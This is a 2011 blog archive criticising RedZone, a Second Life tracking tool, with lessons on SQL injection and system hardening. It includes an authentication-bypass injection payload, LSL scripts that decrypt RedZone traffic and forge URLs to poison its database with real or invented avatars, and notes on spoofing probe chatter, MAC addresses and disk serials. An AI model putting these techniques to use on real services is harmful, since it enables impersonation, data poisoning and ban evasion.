The Perils of SQL Injection

10 06 2011

So what exactly happened to zFire’s site? What is an SQL injection attack? Why was his site so vulnerable?

These are some of the questions some people would like to fill in. This post is in the geeky/technical category, although I will attempt to write it in a way that non technical people can see how appallingly lax was the security on zFire’s site (something I had pointed out on this blog in my comments to zFire when he posted here, but he chose to ignore them).

In short, zFire’s security failings included the following major gaffes (among many others):

  1. His PHP scripts displayed error messages on output pages, where anyone could read them. Many people do not think this a major failing, but I will explain below why this was one of the biggest mistakes he could make.
  2. He was running his SQL server as root. Many people know this is bad, but perhaps many do not realise quite why this is so bad
  3. He did not sanitise input to his scripts (until it was much too late). This is the key to SQL injection attacks
  4. On being hacked, and being alerted to it, he soldiered on with a system in an unknown state when he should have taken the system offline, reverted to a known good state (if such actually existed) and hardened the service before relaunching

Just to be clear, by the time the Mariana video was out, zFire’s days were numbered. I do not think in his case that fixing the database was worth the effort by this stage. Nevertheless for anyone else considering running web based services with PHP and MySQL, I think there is much to be learned from zFire’s example. I therefore offer this post as a guide for strengthening future systems, and hope readers will be interested in it for that reason.

I also add that these are not the total of the failings by zFire. He made many other mistakes, but these seem to be the key ones to the SQL injection attack.

Let’s take a closer look at the issues.

Firstly: Error messages displayed by the web service were highly revealing. When the databases was overloaded (as often happened due to the volume of web requests from RedZone devices), SQL commands would frequently fail. This was most easily spotted on the forums, although I also spotted it when I was researching my “adventures in RedZone” by seeing what false data could be injected into the database through completely legal HTTP GET requests.

These error messages, for instance, revealed the document root of zFire’s scripts, which was my first indication he was running an Apple Mac. But they could also provide information to anyone attempting an SQL injection.

Blind SQL injection (without error messages) is possible, but much harder. Providing error messages to someone knowledgeable in PHP and MySQL was like giving them yes/no answers in 20 questions… is this the name of a table column? no – that one is an error. Ok what about this one? oh yes, that is ok.

Error messages are useful to a programmer to debug a program. They are designed to give as much information as a programmer needs to track down and fix a problem. But that means they give way too much information to a cracker.

If you run PHP/MySQL applications, do not under any circumstances display error messages on the live site.

The second issue was the SQL server was running as root. Someone commented on this blog about that (again, it was revealed in error messages). The person who commented admitted they were no programmer, but even in their experience they knew this was wrong.

Indeed, all the advice for running web services is summed up in the Principle Of Network Administration

Principle 4 (Minimum privilege). Restriction of unnecessary privilege protects a system from accidental and malicious damage, infection by viruses and prevents users from concealing their actions with false identities. It is desirable to restrict users’ privileges for the greater good of everyone on the network

Principles of Network and System Administration – Mark Burgess.

If people applied that principle both for services and for user accounts in use, we would see most security issues vanish away overnight.

But what is specifically wrong with running an SQL service as root? Specifically, pretty much everything. Inexperienced SQL users may think that SQL is all about manipulating tables. They may think that the worst an SQL server can do is drop the tables and kill the database. Inexperienced SQL users like zFire are not aware of the SQL commands that allow the SQL user to read from and write to the filesystem with the privelege of the SQL service user.

If your SQL service runs as root, and someone can run arbitrary SQL on your service, then that cracker can read *every* file on your filesystem.

Yes, even the system password hashes file (if they know where to look). Is your system root password uncrackable? No? Do you allow remote access through SSH or VNC or some other service? Yes?

Bang! You now no longer have a cracker in your database, you have a cracker all over your system.

And even if you do not leave things that wide open, be sure that the cracker can look at all your log files and every other document you thought was private on your system.

Never, ever, ever even consider running a live service under the root user. Run the service with the lowest privelege you can. SQL usres should specifically not have read permissions pretty much anywhere on the filesystem, other than the database directories themselves.

Thirdly Always, Always, Always sanitise your database inputs. To be honest, even this is not really good enough. You should really write your databases differently. Instead of inserting code into SQL statements, send the sanitised input as variables to stored procedures. But zFire would have done so much better if he had taken the minimal step of sanitising input.

Let’s look at some code examples.

Suppose that the web form requests username and password and then passes it to a PHP code snippet similar to this:

$items=@mysql_query("SELECT username, password FROM users WHERE username='$username' AND `password`='$password' );

The problem is that if you allow someone to enter a username something like this, and leave the password blank:

zFire Xue' #

then look what the select statement becomes:

SELECT username, password FROM users WHERE username='zFire Xue' #' AND `password`='$password'

Everything after the # is ignored as a comment (other versions of SQL use different comments, but whatever comment character you use, the implication is the same). This SQL code always returns a row from the database, as long as the name you choose exists in the database. Consequently you are allowed in. With the privelege of the name you chose!

And that is it. The key to breaking into zFires database was to add ‘# after whichever user you wished to impersonate! No password was required and you could control all that user’s redzones. This hole, which falls under the category of “stupidly obvious” would allow you full administrative access to zFire’s redzone account (or anyone elses).

Now suppose that zFire tried to log access to his site (we know he did), his log statement would look like:


INSERT into log (username, password, accesstime)
VALUES ($username, $password, CURDATE())

This, with our input above, becomes:


INSERT into log (username, password, accesstime)
VALUES ('zfire xue' #' , '', '2011-6-4 04:13:54')

The italicised bit after the # is ignored, and the insert fails as it is not properly formed. In other words, no line gets inserted into the log. All such accesses to the database were invisible to the log files.

But, in fact, you can do so much more than gain access to the web forms. For instance, if an SQL statement returns data, you can merge the data returned to the user with, say, the contents of a file from the filesystem.

You could use this to, say, look at the code of the pages themselves – thus finding more security holes – or hidden links to secret pages with videos meant for your girlfriend.

You could look at the SQL connection string file, which includes the SQL password. You could investigate system files and generally wlts all over the system. Which is why we turn to lesson 4.

Fourthly, when hacked, do not paper over the cracks.

Rémy Evard produced a software lifecycle that noted how systems move from a configured state towards an unknown state through an entropic process of constant update, change and debug.

When your system is hacked it takes the fast track route from the configured state to the unknown state.

Sure if some dumb script kiddy downloads software that justs repeatedly crashes your server then its likely you know what is going on. But if you have had a more sophisticated cracker in there – the kind who has been poking your system for weeks or months, and you haven’t spotted them – then really you have no idea what state your system is in.

zFire’s system was vulnerable to attack from day one, and with such obvious security holes in it, it is implausible that no one was inside that system before the script kiddies had a go at it. As we have seen, it is quite likely that those crackers had far more than access to the web site interface. There is no doubt they held a copy of his code, his SQL passwords and pretty much anything else they wanted.

So zFire’s response to being hacked was a lesson in stupidity. (As was the challenge that got the script kiddies running). On realising he has a fundamental security hole in his system, the correct response, in my view would have been to:

  1. Take the system offline to evaluate the extent of intrusion. This is the point you should be contacting the police if it happens to you. Pull out the network cable and call the police. Don’t touch the evidence. However, if you do not wish to involve the police, still take it off line. Look at the logs and the code, and see if you can determine when the crack firts occurred.
  2. Restore the system to a known state – which means restore from a back up before the earliest time a hack could have occurred. This is bad news for zFire – he was using time machine backups and frankly he did not have a backup from that far back. Nevertheless this is good advice. restore to a known good state – which may be your original build. Consider if your system has a kernel root kit installed – it will not be found. You need to wipe everything and start over.
  3. Change ALL your passwords EVERYWHERE. Not just your web site password. Not just the connection string. ALL passwords. And this time don’t make them so crackable. After the crack, zFire changed his RedZone password, although not the passowrds of his alts. After being hacked again, he changed the passwords of users AND alts. When he was promptly hacked again he really should have noticed that passwords were not helping.
  4. Fix the code. this seems obvious. But what is not obvious is how to fix it. zFire’s solution was to try to capture certain SQL strings. What he should have done was rewrite the whole application from scratch. Take your time. You are now a target, so get the rewrite right. Buy in some consultancy if necessary
  5. Don’t trust your data. People have been modifying it. It is no longer correct. restore to the last known good data or just start over

So there you have it – four things zFire really should have done (well the fourth is a list in itself I know, but the point is – never soldier on with a crippled system. Start over).

Advertisements




More Adventures in Second Life

9 03 2011

As followers of this blog know, on the 10th of February I wrote about my adventures with RedZone, revealing the ridiculously insecure way the spyware collects data. This elicited a furious coding effort by zFire who tried valiantly, to the best of his ability to plug the hole I had exposed here (but that had already been widely exploited it seems by people intent on poisoning his database). On Sunday 13th February zFire rolled out a new version of RedZone with some new improved encryption. It was another week before he fixed everything else he broke. As I said in a post on 13th February, it was extremely hard to find a RedZone to scan me with the new improved system. But I tried valiantly, and in fact I did manage to get scanned once.

As it turns out, once was enough. Within a couple of hours I had cracked the new encryption which was pretty much as clueless as the last one. I did not mention this at the time though, as I was enjoying watching all the RedZone updates, and in any case, why let the “enemy” know what we know?

However others have also posted on SLUniverse that they have cracked this encryption, and what it contains. (Waves to Walker. We really should find a way to chat sometime!) This being the case, and as RedZone is on its last legs, I thought now would be a good time to blog about my findings.

So here is how zFire used the best of his ability to fix his encryption. You will remember that the previous encryption was a straightforward monoalphabet substitution cipher – much like a ceasar cipher. It can be decrypted by hand rather easily. zFire decided he would fix this by replacing it with… another monoalphabet susbstitution cipher!

Here it is. The first line is plain text, the second line is the ciphertext alphabet:


=./&%0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX-
tuQtlikJ0x&raL39qhM.%VW8eDNRU62P=XH5/vFKgBSYnG_bdjsAEfmw4Cp7O1Iyc-

Good job zFire!

Oh but he added an extra couple of features to make it really difficult! These were:

  1. He concatenated all variables together into a single ciphered string so that everything was now encrypted. He did not notice that this – if anything – makes the code easier to break.
  2. He wrote the string backwards. That was cool. That took me almost a minute to spot!
  3. He actually got a clue and inserted a transaction ID. He did not need to encrypt the transaction ID – its very existence is the single most important thing he could have done to help prevent false data being reported into his database. This was the piece of information I decided not to mention in my previous article.

I must say I was quite disappointed when I saw the transaction ID. Easy banning of theBoris Gothly as a copybotter was now not on the cards (and yes, we did spot that the ban had worked, zFire! Just in answer to your message in this forum that the previous code did nothing).

What must now be happening is that the RedZone device itself reports back Avatar scan information, which is given a transaction ID. This report contains stuff that was previously reported in the GET request fed to your client. Your client then confirms a couple of points of information and also supplies IP address and User Agent for the scan (if you open the parcel media URL).

So what can we do? We cannot intercept the scan information and change it, and having media off already ensures that the missing IP address is not sent back to the database.

The answer comes from silly redZone users themselves. Because they have requested the option to ban all those terrorists and malcontents who dare walk into a sim with their media off. How does RedZone know that the media is off? Because one half of the scan is sent back to base from the sim, and the other half from the client using the parcel media hack. Failure to receive the second half of the transaction from the parcel media hack indicates (not to reliably) that parcel media is off, or the client is blocking the request in some other way. After a while, these people get ejected from the sim for the audacity of not connecting to a content stream that provides them with no content!

But what would happen if you could fool the sensor into thinking someone else was on sim who was not really there? Then RedZone would record their names and information, and eventually ban them from a sim that uses the media-off ban. Now that could be fun.

And here we have to cue a techy friend who wishes to rename nameless. This friend had been observing RedZones for some time and had discovered how to listen in on the RedZone probe communications with the base unit. RedZone, like any script, can only scan in a 96 metre radius of its location, so those full sim scans are handled by flying probes that jump around the sim doing multiple 96 metre scans and then report back to the base unit with an llRegionSay() call on a secret channel.

As it turns out, that channel differs for different installations, but once chosen it is set. If you can find the channel of a RedZone device, you can listen in on the communication, and even send back your own communication to it.

Discovering channels is not a trivial thing to do as you have to create a lot of channel listeners listening (on a rotating basis) on all possible channels until you observe chatter. You can create a lot of listeners, but you still need scripts to close old ones and open new ones and a bit of patience. Fortunately RedZone probes chatter a lot, so one of the freely available channel scanners should find the chatter without too much difficulty.

Having found the chatter, my techy friend presented me with some data that looked like this:


[21:21] MystiTool HUD 1.3.1: (xx) [zF RedZone v4.1.7 - Ch.36411517]: Probe go to~
[21:21] MystiTool HUD 1.3.1: (xx) [Object - Ch.36411517]: ghJKhKk pmKlo aP.GGP.r-rLP0~q0Lq-MBMBrq0q-8xBBjjXah-sshowrGkjsIlswKS~dsjwUAksadlsLkKsahsjswsa-XZXs~q0lq-rrahHasea-JJ8xBah9X-sQqjhJk3Xr0JqsoiS~o=jqaDa=3483aB 0eBqawS 0MoMX9S

I looked at it and at first I was stumped. This looked like zFire’s normal clueless ciphered encryption, but the normal markers that made it easily crackable were missing. I knew there should be a UUID in there but nothing obviously fitted the pattern of a UUID.

Thus for the first time I actually had to ask for more data to crack the encryption. My friend (and his friend) collected me a whole load of additional data and then I took a good look at it, and spotted that some data did not change from one scanner to another. Eliminating the non changing information was the breakthrough. Once I removed the junk (every second letter), this was clearly just another of zFire’s backwards ciphered strings, and I already had the code to decrypt it.

Here is my rough and ready decryption script:

integer mychannel=2 ;
integer listen_handle ;
//
string clearText= "=./&%-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX " ;
string cipherText="tuQtl-ikJ0x&raL39qhM.%VW8eDNRU62P=XH5/vFKgBSYnG_bdjsAEfmw4Cp7O1Iyc " ;
// 
string substitute(string baseChar, string clearText, string cipherText) {
    string ss="" ;
    integer pos = llSubStringIndex(clearText,baseChar) ;
    ss=llGetSubString(cipherText,pos,pos) ;
    return ss ;
}
//
default
{
    state_entry()
    {
        listen_handle = llListen(mychannel, "", llGetOwner(), "");
        llOwnerSay("Type /"+(string) mychannel+" encryptedstring to see decryption") ;
    }
    listen( integer channel, string name, key id, string message )
    {
        string resultstr="";
        string unstegtext="" ;
        integer msglength=llStringLength(message) ;
        integer i ;
        for (i=msglength ; i>=0 ; i-=2) {
            unstegtext+=llGetSubString(message,i,i);
            resultstr+=substitute(llGetSubString(message,i,i),cipherText, clearText) ;
        }
        llOwnerSay("cleartext     : "+resultstr) ;
    }
}

It decrypted to something like this:


=add Obj Marker 1f15f287-e582-46d1-a212-ac5b0f0598f1 0a714cfa-c819-4cfb-bc7a-a66368918ed2

Notice the UUIDs. One is the UUID of the person detected and the other appears to be the RedZone device owner’s UUID.

So to add additional people to a sim is easy. Just write a script that uses llRegionSay() on the sim with the detected RedZone probes which inserts random UUIDs of people, or UUIDs of a hitlist of RedZone owners, and all these people appear to be sim visitors. As none of them are actually on sim, they clearly never send back the second GET request with their IP address, and after a while, RedZone bans them.

Well anyway it amused me.

zFire – would you like to go and fix your software again? Or do you think you are ready now to call time on your illegal collection of personal data?

A final word: there is an additional attack, and this one I believe has been used by someone (I really don’t know who) for some time to poison the RedZone database. RedZone stores the IP address from the scan from the client – but suppose a clever coder intercepted those scans on their computer and quickly constructed a URL and fed this to an inworld object that collected it using an llHTTPRequest() with a correct transaction ID? In that case the GET request would come from the sim IP address, and anyone doing this in the same sim would become alts of one another in the database. Nice! But flawed in a few ways (which I will not mention for reasons of space) so I did not pursue that myself.





Ignorance is Bliss

19 02 2011

Crackerjack, the voice of tech on the RedZone forums, delights his readers with this today:

We all know that linden labs has the ability to ban not just by ip address or mac address but also uses the serial of the hard drives it finds on each computer (a serial number that is impossible to spoof btw). If linden labs really want to ban you they can ban by hard drive serial and the only way to get around it is to insert all new hard drives.

I am, of course, glad that crackerjack has been reading this blog and thus now knows this, rather than repeating zFire’s cannard about Linden Labs using IP addresses for bans. Sadly he has not really followed the logic through properly.

As I explained, the SL client code packages up MAC address and volume serial number – hashed with an MD5 sum – into the XML authentication packet used to authenticate with their service. Note it is the hash that is transmitted and not the serial number or MAC address itself. Nevertheless these values are certainly used for client authentication.

But it follows to anyone with the first clue about coding, networks and security that spoofing these data is trivially easy. There are two obvious ways to do it (and countless variations and less obvious ways). The first: because the SL client code is open source, you simply role your own client that makes up a valid looking but spurious serial ID. Hash that and send it to the servers and you are away.

Even if the client were not open source, the authentication can be captured in a proxy. Instead of connecting to the SL server itself, you could connect to a local proxy that rewrites the authentication packet before passing it on to the server. Whilst the proxy brings in a small delay, once authenticated you connect to a sim and at that point you can jetison the proxy.

So yes, you can trivially easily spoof the serial number. However, Linden Lab quite specifically prohibits this. In the third party viewer policy we read under “Prohibited Functionality”:

You must not circumvent any security-related features or measures we may take to limit access to Second Life. For example:

  1. You must not mask IP or MAC addresses. By “mask,” we mean disguising or concealing the IP or MAC address when including it was possible.
  2. You must not spoof the viewer identifier or the identity of a Third-Party Viewer connecting to Second Life. Each version of a Third-Party Viewer must have a unique viewer identifier and must not use the same viewer identifier as a Linden Lab viewer or another Third-Party Viewer.

Of course the same agreement bans circumventing SL permissions system. Anyone willing to create a copybot client, or to use the parcel media bug to make illegal spyware would likely also ignore that part of the agreement too.

Even if spoofing were not so easy, changing your hard disk serial number does not require changing your hard disk. The serial number is just more data on the disk. That data can be rewritten given the right tools. It is not necessary to do so, nor particularly a good idea, but if you want to know more then Google is your friend.

I should also add that MAC addresses need not be tied to the interface hardware either. They can be spoofed in just the way I described above in the authentication packet, or you can change your interface MAC address. The MAC address is stored on the interface card itself. If it is in EPROM you can reflash it to a value you like, but that is not necessary on UNIX based machines at least. The reason is that when the device driver starts, the EPROM is read but because the access is slow, the MAC address is copied into a structure in kernel memory associated with the device. This memory can be rewritten using the ifconfig command, and the interface can then be brought up with the new MAC address.

One legitimate use for this is in IPv6 address allocation. As I mentioned, autoconfiguration of IPv6 addresses takes place based on MAC addresses. A systems administrator may choose to reconfigure MAC addresses on a link so that they number starting at 1. This has the effect of hiding hardware information that would otherwise be revealed in the IPv6 addresses. When doing this, the systems administrator is supposed to set the universal/local bit to show that these are local and not universal MAC addresses. That is why that bit in the MAC addresses is toggled when creating an EUI-64 from a MAC-48. In this way, the IP address number 1 does indeed look like a 1 (in the hostid part).

Anyway, it is a good thing crackerjack does not think he knows anything about network security.

Oh wait! He does! Look, he just wrote this:

by crackerjack » Sat Feb 19, 2011 7:02 am
[…] my particular expertise is in network security […]

/me shakes his head.





Adventures With RedZone

10 02 2011

In a message yesterday I explained how RedZone is exploiting the Parcel Media security hole in the Second Life Client software to make your browser silently send customised and personalised HTTP GET requests back to the isellsl.ath.cx website. When I became aware that someone was using RedZone in a dance club sim I had entered (bad owner! How are we supposed to keep our media disabled in such places?) I decided to investigate what was being sent back to base.

The first thing I did was to fire up wireshark (formerly known as ethereal). Wireshark is an amazingly useful tool – a graphical form of the equally useful tcpdump. It allows you to monitor traffic on any and all of your network interfaces, and is invaluable for diagnosing network performance issues and other network administarion tasks.

In this case I knew what RedZone must be doing so all I needed to really look for was HTTP traffic. I applied a filter and logged into the dance club, enabling my media. Almost immediately I captured a TCP stream with a dodgy looking get request, which on analysis with wireshark (choose “analyse/follow TCP Stream”) looked like this:

The Output Window of Wireshark

Wireshark Packet Capture

Some things struck me right away:

1. The stream is unencrypted. It has to be, being vanilla HTTP. I do not think a secure stream using TLS is likely, because the Second Life client would need a certificate exchange. A self signed certificate would raise the exact security warning that the spyware writers want to avoid. Commercial certificates would be expensive, hard and subect to revocation, if users threatened the Certification Authority to revoke their certificates because it is being used for spyware. So vanilla HTTP it will stay.

2. The variables being passed are quite guessable. Let’s look at these:

– The n variable looks like an SL name. It is clearly encrypted, but that space in the name appears where the unencrypted space appears in my real name.

– The o, j and d variables appear to be the same length as UUIDs and the r values appear where the – should appear in UUIDs.

– Some of the information is unencrypted and is clearly information about my avatar age and payment information.

– The e variable is always “pscan” although its existence suggests some other kind of control URLs that may be possible

– The location is your location (more or less), not the location of the RedZone device. It may be the location of the flying probe RedZone uses to get around the 96 metre scan range problem. These probes, by the way, can cause lag.

Having discovered this scan URL I immediately applied the quick and dirty fix I described before. I added this to my hostfile:


127.0.0.1 isellsl.ath.cx

This would ensure I would capture all future packets meant for the spyware collector. (Actually I used an IP address of my LAMP server, rather than localhost. But for the explanation I will just assume I did it all on my laptop).

Now whilst that entry alone kills RedZone, I was curious about that data being passed. So I immediatley wrote my own capture script called rz2.php and placed it on my own server. This script does a few things:

1. It emails me an alert any time I enter a RedZoned sim.
2. It saves a copy of the offending HTTP request
3. It inserts the data into my own database so that I can build a database of RedZone sims I visit automatically

Now armed with data capture facilities, I logged in an alt. I then looked at what I collected and discovered some fundamental weaknesses. Most notably, this encryption is the most brain dead I have ever seen.

Really!

It is quite clear that the RedZone author does not really understand security. I could educate him how to fix this – but I don’t wish to unless he first gets a clue about collation of personal data. I could make a better RedZone myself without the flaw – but I am not amoral, and I choose to obey the law.

Nevertheless, cracking the encryption was a doddle. This is basically a simple monoalphabet substitution cipher. I did not even need a computer – a paper and pen was almost enough to crack it when I first saw it. However, I was missing a few letters. Most of the missing letters were guessable, and those that were not were recoverable by logging in alts with those letters in their name.

Here is the cipher used. The first line is the clear text character, the second line the substituted character:

 -0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
 rzmnCXZbvcx09876POIUY54321pTREWQoiuyLKJHGtewqlFDSAkjhgMNBVfds-a

Now I could decrypt the packets, I quickly modified my PHP code to decrypt what I was seeing. I now had UUIDs and my avatar name decrypted, I was quickly to see that of the UUID variables, “d” was my own UUID and “o” was the UUID of the owner of the RedZone that was scanning me. I linked this with an online key2name database to show me the owners of all RedZones I find. I am not sure yet what j is, although I somewhat suspect it is the UUID of the prim of the RedZone device sending the record, as it certainly never changes for any particular RedZone site.

Now then. What could I do with this information?

Well one big question: What would happen if I sent back my own response to RedZone using data about some other avatar? The problem is: how would I know it had worked? I will not buy RedZone, so how would I know if that other user was now listed as my alt? I would clearly need the user’s permission too.

The solution was to find someone listed as a copybot (and thus banned on all RedZoone sims) or some other banned person and ask if they minded me experimenting in this way. Finding the user was not hard – I just looked at ban lists in various RedZone sims and looked the user up in the RedZone site’s neighbourhood watch until I found a candidate. I then spoke to them about what I planned and with their permission, I logged in an alt of mine on a nice fresh IP address and wrote the script below to deliver the payload:

integer listen_handle;
integer channel=1 ;
string clearText= " -0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" ;
string cipherText=" rzmnCXZbvcx09876POIUY54321pTREWQoiuyLKJHGtewqlFDSAkjhgMNBVfds-a" ;
string newText="" ;
key keyname;
key keyborn ;
key keypayinfo ;
string myname="";
string encname="" ;
string myborn="";
string myuuid="";
string mypayinfo="" ;
key avquery ; 
list allbits=["&o=z0vmX8P0r8cmxrX8P9r98v0r0bbCbcxmc67n","&l=Vsevolod/148/59/115&j=6Pzc7xxbrvPnxrvX8nr8czcrcPcnzXb6zv7Z",
    "&o=z0vmX8P0r8cmxrX8P9r98v0r0bbCbcxmc67n","&l=Whitmyre/168/61/22&j=0nb8xbbmr6cvbr87xcrXXv9rb6n8c89ZvPvz" 
];
string myurl="http://isellsl.ath.cx/rz2.php?e=pscan" ;
string obit ;
string locbit ;
//
string substitute(string baseChar, string clearText, string cipherText) {
    string ss="" ;
    integer pos = llSubStringIndex(clearText,baseChar) ;
    ss=llGetSubString(cipherText,pos,pos) ;
    if (ss==" ") ss="%20" ;
    return ss ;
}
//
string encrypt(string plainText) {
    integer i ;
    string  resultStr="" ;
    integer ptlen = llStringLength(plainText) ;
    for ( i=0 ; i<ptlen ; i++ ) {
      resultStr+=substitute(llGetSubString(plainText,i,i),clearText, cipherText) ;
    } 
    return resultStr ;
}
//
string decrypt(string nonplainText) {
    integer i ;
    string  resultStr="" ;
    integer ptlen = llStringLength(nonplainText) ;
    for ( i=0 ; i<ptlen ; i++ ) {
      resultStr+=substitute(llGetSubString(nonplainText,i,i),cipherText, clearText) ;
    } 
    return resultStr ;
}
//   
default
{
    state_entry()
    {
        listen_handle = llListen(channel, "", llGetOwner(), "");
        llOwnerSay("Starting: Type /1 SL-User-UUID  to create a RedZone poison URL for that user") ;
    }
//
    listen( integer channel, string name, key id, string message )
    {

        allbits=llListRandomize(allbits,2) ; // allbits is a stride 2 list
        obit=llList2String(allbits,0) ;
        locbit=llList2String(allbits,1) ;
        myuuid=message ;
        keyname=llRequestAgentData((key) message,DATA_NAME ) ;
        keypayinfo=llRequestAgentData(message,DATA_PAYINFO) ;
        keyborn=llRequestAgentData((key) message,DATA_BORN) ;
    }
//    
    dataserver(key queryid, string data)
    {
        if ( keyname == queryid )
        {
            myname = data;
            llOwnerSay("Cloning : " + myname); 
            encname=encrypt(myname) ;
            myurl+="&n=";
            myurl+=encname ;
            myurl+=obit ;
            myurl+="&d=" ;
            myurl+=encrypt(myuuid) ;
            myurl+=locbit;
            
        }
//
        if ( keypayinfo == queryid )
        {
            mypayinfo = data ;
            if (mypayinfo=="1") {
                myurl+="&p=yes&g=0" ;
            }
            else {
                myurl+="&p=no&g=0" ;
            }
//           
        }
        
        if ( keyborn == queryid )
        {
            myborn = data ;
            myurl+="&age=" ;
            myurl+=myborn ;
            llOwnerSay(myurl) ;
            myurl="http://isellsl.ath.cx/rz2.php?e=pscan" ;
        }
    }
//    
    on_rez(integer param)
    {   
        llResetScript();//By resetting the script on rez forces the listen to re-register.
    }
    changed(integer mask)
    {   
        if(mask & CHANGED_OWNER)
        {
            llResetScript();
        }
    }
}

It worked like a dream. RedZone immediately informed me this user was banned. I was also able to send real data about my alt and get the alt banned too, because now we shared an IP address.

So yes the code above will insert data into the RedZone database.

One question: Will the data stay in the database? If I were to insert hundreds of people into the database all from my IP address, would it be possible to write a data cleansing algorithm to remove these values?

Certainly it would. A whole IP address could be written off as giving false data – although it is likely that it would write off any real alts listed under that addess at the same time – particularly if you were careful not to register hundreds of alts all at once.

Sadly it would cause innocent people problems with duped RedZone owners to add hundreds of alts of real users to the database. So here is a fun variation on the above code: Instead of entering real SL users, what if you entered some random data instead? Make up a name, and the associated alt data, generate a random UUID and enter this?

You see, the RedZone database is not an inworld database. There is no offline complete list of avatars and UUIDs (although there are some very large name2key databases). So when you report your information to the RedZone database, it presumably has to believe you! In this way you can enter a huge number of “alts” (and share them with your friends if you wish), and have a good laugh the next time someone comes to you (as they came to me) and tells you “I know all your alts”.

May I ask you though, if you are trying this at home: please do not use the data of real users without their permission. Just because RedZone messes with people, does not mean we should to.

Remember these random users will enter the database with YOUR IP address. Of course, to add them with someone elses IP address, just ask them to click the link too. Make sure you tell them what the link does so they can make an informed choice about it.

integer listen_handle;
integer channel=1 ;
string clearText= " -0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" ;
string cipherText=" rzmnCXZbvcx09876POIUY54321pTREWQoiuyLKJHGtewqlFDSAkjhgMNBVfds-a" ;
string newText="" ;
key keyname;
key keyborn ;
key keypayinfo ;
string myname="";
string encname="" ;
string myborn="";
string myuuid="";
string mypayinfo="" ;
key avquery ; 
list allbits=["&o=z0vmX8P0r8cmxrX8P9r98v0r0bbCbcxmc67n","&l=Vsevolod/131/65/110&j=6Pzc7xxbrvPnxrvX8nr8czcrcPcnzXb6zv7Z",
    "&o=z0vmX8P0r8cmxrX8P9r98v0r0bbCbcxmc67n","&l=Whitmyre/124/41/22&j=0nb8xbbmr6cvbr87xcrXXv9rb6n8c89ZvPvz" 
];
string myurl="http://isellsl.ath.cx/rz2.php?e=pscan" ;
string obit ;
string locbit ;
//
string substitute(string baseChar, string clearText, string cipherText) {
    string ss="" ;
    integer pos = llSubStringIndex(clearText,baseChar) ;
    ss=llGetSubString(cipherText,pos,pos) ;
    if (ss==" ") ss="%20" ;
    return ss ;
}
string encrypt(string plainText) {
    integer i ;
    string  resultStr="" ;
    integer ptlen = llStringLength(plainText) ;
    for ( i=0 ; i<ptlen ; i++ ) {
      resultStr+=substitute(llGetSubString(plainText,i,i),clearText, cipherText) ;
    } 
    return resultStr ;
}
string decrypt(string nonplainText) {
    integer i ;
    string  resultStr="" ;
    integer ptlen = llStringLength(nonplainText) ;
    for ( i=0 ; i<ptlen ; i++ ) {
      resultStr+=substitute(llGetSubString(nonplainText,i,i),cipherText, clearText) ;
    } 
    return resultStr ;
}
//    
default
{
    state_entry()
    {
        listen_handle = llListen(channel, "", llGetOwner(), "");
        llOwnerSay("Starting: Type /1 name=Random Name") ;
        llOwnerSay("Type /1 age=Random Name in format yyyy-mm-dd e.g. 2010-09-26") ;
        llOwnerSay("Type /1 uuid=Random uuid. Try http://www.famkruithof.net/uuid/uuidgen ") ;
        llOwnerSay("Type /1 go") ;
        llOwnerSay("Click the URL to add a random nobody to Redzone") ;
    }

    listen( integer channel, string name, key id, string message )
    {
        list msg=llParseString2List(message,[" ","="], []);
 
        if (llList2String(msg, 0)=="name") {
            myname=llList2String(msg,1)+" "+llList2String(msg,2) ;
            llOwnerSay("Name set to "+myname) ;
        }  
        else if (llList2String(msg, 0)=="age") {
            myborn=llList2String(msg,1);
            llOwnerSay("Age set to "+myborn) ;
        }
        else if (llList2String(msg, 0)=="uuid") {
            myuuid=llList2String(msg,1);
            llOwnerSay("Uuid set to "+myuuid) ;
        }
        else if (llList2String(msg, 0)=="go") {
            allbits=llListRandomize(allbits,2) ; // allbits is a stride 2 list
            obit=llList2String(allbits,0) ;
            locbit=llList2String(allbits,1) ;
            myurl="http://isellsl.ath.cx/rz2.php?e=pscan" ;
            myurl+="&n=";
            myurl+=encrypt(myname) ;
            myurl+=obit ;
            myurl+="&d=" ;
            myurl+=encrypt(myuuid) ;
            myurl+=locbit;
            myurl+="&p=no&g=0" ;
            myurl+="&age=" ;
            myurl+=myborn ;
            llOwnerSay(myurl) ;
            
        }        
    }   
    on_rez(integer param)
    {   // Triggered when the object is rezzed, like after the object has been sold from a vendor
        llResetScript();//By resetting the script on rez forces the listen to re-register.
    }
    changed(integer mask)
    {   // Triggered when the object containing this script changes owner.
        if(mask & CHANGED_OWNER)
        {
            llResetScript();
        }
    }   
}

So in summary: RedZone is an extremely naïve system. Its reliance on IP addresses and User Agents to identify alts and copybotters respectively is foolish and wrongheaded. The way data is passed to the server would get no marks at all in a class on building secure web based systems. (Ok, maybe half a mark for the substitution cipher. At least the writer thought about it). The potential for causing havoc with this database is huge.

Better and more secure systems are certainly possible. This one is really an object lesson in how not to write your spyware.





The Security Hole in the Second Life Client

9 02 2011

I have mentioned that zfRedZone spyware works by exploiting a security hole in the Second Life client software. The hole is this: It is possible to write a script that delivers a specific parcel media URL to a specific detected avatar. The makers of Second Life felt that users would like the ability to write scripts that would allow other users to select an audio or video stream they like and to watch or listen to this on a sim whilst other users could view different content. You can see how this is useful. When I was last at the ISM, they used this to deliver a selection of very interesting videos.

But then people got paranoid. Because if a mere user is allowed to actually see the parcel media URL that is delivering them content, what is to keep them in world in a sim where they frequently crash, and where videos must then be restarted from the beginning? Why wouldn’t they just fire up this URL in a streaming media client on their computers?

So to keep people in world, the URLs had to be hidden. We are not supposed to know who is feeding us the content. There are some fairly simple ways to discover the URLs, but the second life client does not tell us. And that is a key failing.

The other key failing is there is no security warning for parcel media. You are being redirected to an external site that Linden Labs makes quite clear in their TOS is outside of their control. You are being delivered content from that site, and yet your options are on or off. What is missing from the Second Life client is an option that says “The site isellsl.ath.cx would like to deliver you parcel media. Would you like to accept”?

If we had such an option, we would see at once the highly suspicous nature of the URL isellsl.ath.cx sends us, and we could then use a no option to ignore the “content”. Indeed a “never for this site” option would be more secure. This would also protect us from copycat sites, whilst still allowing us to enjoy the Second Life experience as it was intended.

So Linden Labs and other client developers: how about it? I will immediately change to whichever SL client offers me this option.

